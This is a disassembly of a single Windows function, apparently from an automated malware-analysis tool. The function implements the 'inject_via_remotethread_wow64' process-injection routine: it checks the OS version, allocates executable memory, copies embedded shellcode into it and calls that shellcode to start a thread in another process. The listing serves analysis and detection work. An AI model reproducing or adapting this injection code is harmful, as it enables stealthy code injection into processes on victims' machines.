Function at 0x41610b
Capabilities:
Allocate or change rwx memory
Check os version
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa8
and dword [ebp - 0xc], 0
and dword [ebp - 0x10], 0
and dword [ebp - 4], 0
and dword [ebp - 8], 0
and dword [ebp - 0xa8], 0
push 0x90
push 0
lea eax, [ebp - 0xa4]
push eax
call fcn.00401c20
add esp, 0xc
mov dword [ebp - 0xa8], 0x94
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x416181
xor eax, eax
jne 0x41615c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_remotethread_wow64:_GetVersionEx_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x416311
cmp dword [ebp - 0xa4], 5
jne 0x4161c0
cmp dword [ebp - 0xa0], 2
jne 0x4161c0
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jne 0x41619b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_remotethread_wow64:_Windows_2003_not_supported._GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x416311
push 0x40
push 0x3000
push 0x4c
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x4161ff
xor eax, eax
jne 0x4161da
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_remotethread_wow64:_VirtualAlloc_pExecuteX64_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x416311
push 0x40
push 0x3000
push 0x149
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x416241
xor eax, eax
jne 0x41621c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_remotethread_wow64:_VirtualAlloc_pX64function_failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x416311
push 0x4c
push 0x45ce90
push dword [ebp - 0x10]
call fcn.00401680
add esp, 0xc
push 0x129
push 0x45cee0
push dword [ebp - 4]
call fcn.00401680
add esp, 0xc
mov eax, dword [ebp - 4]
add eax, 0x129
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0x10]
mov dword [eax + 0x10], ecx
mov eax, dword [ebp - 8]
and dword [eax + 0x18], 0
push dword [ebp - 8]
push dword [ebp - 4]
call dword [ebp - 0x10]
test eax, eax
jne 0x4162cb
push 5
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jne 0x4162a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_remotethread_wow64:_pExecuteX64__pX64function__ctx___failed_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x416311
mov eax, dword [ebp - 8]
cmp dword [eax + 0x18], 0
jne 0x4162fe
push 6
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
jne 0x4162dc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._INJECT__inject_via_remotethread_wow64:_ctx__t.hThread_is_NULL_GetLastError___d
mov eax, dword [0x41c3ac]
push dword [eax]
call dword [0x41c39c]
add esp, 0xc
jmp 0x416311
mov eax, dword [ebp + 0x14]
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx + 0x18]
mov dword [eax], ecx
xor eax, eax
jne 0x416141
cmp dword [ebp - 0x10], 0
je 0x416327
push 0x4000
push 0
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
cmp dword [ebp - 4], 0
je 0x41633d
push 0x4000
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0xc]
leave
ret